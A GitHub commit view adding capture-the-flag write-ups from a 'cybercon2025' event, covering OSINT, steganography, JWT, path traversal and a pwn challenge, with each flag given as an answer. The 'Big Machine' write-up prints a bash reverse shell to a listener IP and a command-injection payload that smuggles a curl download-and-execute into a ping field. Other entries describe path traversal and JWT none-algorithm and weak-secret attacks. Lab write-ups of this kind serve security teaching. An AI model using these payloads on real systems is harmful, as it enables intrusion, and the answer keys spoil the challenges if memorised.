Skip to content

Commit b4dc402

Browse files
committed
add cybercon2025
1 parent c3e32d9 commit b4dc402

47 files changed

Lines changed: 1515 additions & 0 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
---
2+
layout: writeup
3+
4+
title: Around The World
5+
difficulty: Medium
6+
points: 400
7+
categories: [OSINT]
8+
tags: []
9+
10+
flag: CBCV{trnava_slovakia}
11+
---
12+
13+
### Around the World
14+
15+
* Author: Aakansh Gupta (Unknown)
16+
17+
This is a purley OSINT based CTF. Use tools like Google lens or Google Earth
18+
19+
Since we know the flag starts with CBCV{XXXX} format, we try an search it.
20+
Image was taken from Google Earth: https://earth.google.com/web/@48.24320818,17.6841851,122.62258148a,0d,90y,113.92109797h,93.75353085t,0r/data=CgRCAggBIhoKFmEzZENqNGtRN3Y5TDJuMVhpR2NjTFEQAjoDCgEwQgIIAEoICJvNmbsHEAA
21+
22+
23+
### The flag would be:
24+
## CBCV{trnava_slovakia}
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
---
2+
layout: writeup
3+
4+
title: Big Machine
5+
difficulty: Hard
6+
points: 500
7+
categories: [Pwn]
8+
tags: []
9+
10+
flag: CBCV{3nv1r0nm3nt_v4r14bl3s_c4n_b3_s3cr3t_2352}
11+
---
12+
13+
### Big Machine
14+
* Author: Aakansh Gupta (Unknown)
15+
16+
Check the website on the given url
17+
18+
<img src="./images/big.png" />
19+
20+
It shows the pin result for given IPs.
21+
Try and get a reverse shell on it.
22+
Since most common commands are blocked, we try and send a script from attacked to the machine like:
23+
24+
```bash
25+
#!/bin/bash
26+
bash -i >& /dev/tcp/192.168.192.130/4444 0>&1
27+
28+
```
29+
We craft a special request to send this: ` 8.8.8.8;curl${IFS}-o${IFS}/tmp/x${IFS}YOUR_ATTACKER_IP:8000/s;chmod${IFS}+x${IFS}/tmp/x;/tmp/x `
30+
We can use python http.server to send the file. At the same time keep the netcat listener open to accept the reverse shell.
31+
32+
After getting a reverse shell, try snoop around to find the flag. If you check the enviornment variables using `env` , you get the flag
33+
34+
<img src="./images/bigflag.png" />
35+
36+
37+
### The flag found is:
38+
## CBCV{3nv1r0nm3nt_v4r14bl3s_c4n_b3_s3cr3t_2352}
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
---
2+
layout: writeup
3+
4+
title: Breach
5+
difficulty: easy
6+
points: 100
7+
categories: [Misc]
8+
tags: []
9+
10+
flag: CBCV{F14GIsHere}
11+
12+
---
13+
14+
## Breach
15+
* Author: Harsh Singh (DeadStar)
16+
Using steghide we can get the hidden file in the image.
17+
18+
`POPI{S14TVfUrer}`
19+
20+
The Actual aftering decoding it with rot13 cipher is
21+
22+
### Flag Reterived is:
23+
## CBCV{F14GIsHere}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
---
2+
layout: writeup
3+
4+
title: Cathedral
5+
difficulty: easy
6+
points: 100
7+
categories: [OSINT]
8+
tags: []
9+
10+
flag: CBCV{-8.9103\_-140.1026} OR CBCV{-8.9103\_-140.1030}
11+
---
12+
13+
### The Cathedral
14+
15+
A quick Google Image Search reveals the location: Notre Dame Cathedral, Nuku Hiva, French Polynesia.
16+
17+
<img src="./images/catser.png" />
18+
19+
From there, we head over to Google Earth (or Google Maps), locate the site, and switch to Street View. The exact coordinates can be extracted directly from the URL in the browser.
20+
21+
<img src="./images/catge.png" />
22+
23+
### The flag found is:
24+
## CBCV{-8.9103\_-140.1026} OR CBCV{-8.9103\_-140.1030}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
---
2+
layout: writeup
3+
4+
title: Easy Flag
5+
difficulty: easy
6+
points: 300
7+
categories: [Web]
8+
tags: []
9+
10+
flag: CBCV{p4tH_tr4v3rs4L_v8lN_939851}
11+
---
12+
13+
### Easy Flag
14+
15+
* Author: Aakansh Gupta (Unknown)
16+
17+
A simple web base path traversal vulnerability.
18+
Clicking on any on the links leads to a url like: http://20.244.12.130:50002/view?file=db_errors.log
19+
Just try and change the view?file=db_errors.log to common paths like ../app.py or ../flag.txt
20+
21+
Visiting http://20.244.12.130:50002/view?file=../flag.txt give:
22+
23+
<img src="./images/easyhex.png" />
24+
25+
A string of hex numbers: ` 57 56 57 50 7b 6a 34 6e 42 5f 6e 6c 34 70 33 6c 6d 34 46 5f 70 38 66 48 5f 39 33 39 38 35 31 7d `
26+
27+
Using CyberChef we can decode these to `WVWP{j4nB_nl4p3lm4F_p8fH_939851}`
28+
29+
Using a ROT6 cypher we get: `CBCV{p4tH_tr4v3rs4L_v8lN_939851}`
30+
31+
### The flag found is:
32+
## CBCV{p4tH_tr4v3rs4L_v8lN_939851}
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
---
2+
layout: writeup
3+
4+
title: Hidden Layers
5+
difficulty: easy
6+
points: 200
7+
categories: [steganography]
8+
tags: []
9+
10+
flag: CBCV{CRYPT_C4N_B3_L4Y3R5}
11+
12+
---
13+
14+
## Hidden Layers
15+
16+
* Author: Amarnath
17+
18+
19+
### Initial Steps
20+
21+
1. Find Morse code.
22+
2. Convert to Base32.
23+
3. Apply ROT13.
24+
4. Remove EVEN Postion Alphabets.
25+
26+
27+
### Further Solving and Steps
28+
29+
```python
30+
# Step 1: USE Morse decoder
31+
<img src="./images/morsedecoded1.png" />
32+
33+
# Step 2 & 3: Base32 decode and ROT13
34+
<img src="./images/from32baseandrot13.png" />
35+
36+
# Step 4:Remove Alphabets from EVEN Postion
37+
ACBBCCDVE{FCGRHYIPJTK_LCM4NNO_PBQ3R_SLT4UYV3WRX5Y}Z
38+
39+
```
40+
### Final Flag reterived is:
41+
## CBCV{CRYPT_C4N_B3_L4Y3R5}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
---
2+
layout: writeup
3+
4+
title: Who am I?
5+
difficulty: easy
6+
points: 350
7+
categories: [Web]
8+
tags: []
9+
10+
flag: CBCV{jWt_t0k3ns_us3d_34}
11+
12+
---
13+
### Who am I?
14+
15+
* Author: Aakansh Gupta (Unknown)
16+
17+
Simple JWT based ctf.
18+
Visit the given url and look for the cookie `user` .
19+
20+
Decode it using tools like www.jwt.io
21+
22+
It give the flag as `"sub":"CBCV{jWt_t0k3ns_us3d_34}" `
23+
24+
<img src="./images/jwt1.png" />
25+
26+
27+
### The flag found is:
28+
## CBCV{jWt_t0k3ns_us3d_34}
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
---
2+
layout: writeup
3+
4+
title: I am Who?
5+
difficulty: hard
6+
points: 450
7+
categories: [Web]
8+
tags: []
9+
10+
flag: CBCV{w34K_S3Cr3T_K3y_Cr4CK3d_835}
11+
---
12+
13+
### I am Who?
14+
15+
* Author: Aakansh Gupta (Unknown)
16+
17+
A longer version of it's parent CTF `who am i` . This requires none Algorithm attack and secret key verification.
18+
19+
Visit the given page and check the cookie.
20+
This time we have an admin page.
21+
This requires elevated privilages.
22+
23+
Use jwt.io to encode a cookie without any algorithm to bypass auth.
24+
25+
<img src="./images/iam.png" />
26+
27+
This allows access to admin panel. But this isnt the end, we reqire another endpoint `finalcheck`
28+
And a new role called `superadmin` is needed.
29+
We can brute force common secret keys like `secret` or `qwerty` (in this case its `qwerty`).
30+
31+
Using jwt.io we craft a cookie and send it.
32+
33+
<img src="./images/iam2.png" />
34+
35+
Now we can access the /finalcheck endpoint and see the flag.
36+
37+
### The flag found is:
38+
## CBCV{w34K_S3Cr3T_K3y_Cr4CK3d_835}
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
---
2+
layout: writeup
3+
4+
title: Intellectual Conversation
5+
difficulty: easy
6+
points: 200
7+
categories: [Misc]
8+
tags: []
9+
10+
flag: CBCV{1nv151b1l1ty_0r_t1m3_c0ntr0l?}
11+
---
12+
13+
### Intellectual Conversation
14+
15+
* Author: Aadhyanth
16+
17+
Encoding:
18+
convert each character to ascii and insert \u200b after that many characters
19+
20+
Decoding:
21+
find distance between 2 zero-width characters and convert take chr()
22+
23+
python code:
24+
25+
```
26+
def hide_flag_in_text(text, flag):
27+
zwsp = "\u200b"
28+
result = ""
29+
30+
flag_index = 0
31+
char_count = 0
32+
33+
for ch in text:
34+
result += ch
35+
char_count += 1
36+
37+
# check if we've reached the ascii value position for current flag character
38+
if flag_index < len(flag) and char_count == ord(flag[flag_index]):
39+
result += zwsp
40+
flag_index += 1
41+
char_count = 0 # reset counter
42+
43+
return result
44+
45+
def decode_flag_from_text(encoded_text):
46+
char_count = 0
47+
flag = ""
48+
49+
for ch in encoded_text:
50+
if ch == '\u200b':
51+
flag += chr(char_count)
52+
char_count = 0
53+
else:
54+
char_count += 1
55+
56+
return flag
57+
58+
# Usage
59+
huge_text = """TRANSCRIPT-1
60+
61+
Discussion between Dr. Sarah Chen (Theoretical Physicist) and Prof. Marcus Rodriguez (Materials Science)
62+
...
63+
...
64+
Prof. Rodriguez: Thank you, Sarah. I look forward to continuing this conversation as the field evolves.
65+
66+
[End of Transcript]
67+
"""
68+
flag = "CBCV{1nv151b1l1ty_0r_t1m3_c0ntr0l?}"
69+
encoded_text = hide_flag_in_text(huge_text, flag)
70+
71+
print("Encoded text:")
72+
print(encoded_text)
73+
74+
with open('transcript.txt', 'w', encoding='utf-8') as file:
75+
file.write(encoded_text)
76+
file.close()
77+
78+
79+
with open('transcript.txt', 'r', encoding = 'utf-8') as file:
80+
data = file.read()
81+
print("\nDecoded flag:")
82+
print(decode_flag_from_text(data))
83+
84+
```
85+
86+
Output:
87+
Encoded text:
88+
Squeezed text (182 lines).
89+
90+
### The flag found is:
91+
## CBCV{1nv151b1l1ty_0r_t1m3_c0ntr0l?}

0 commit comments

Comments
 (0)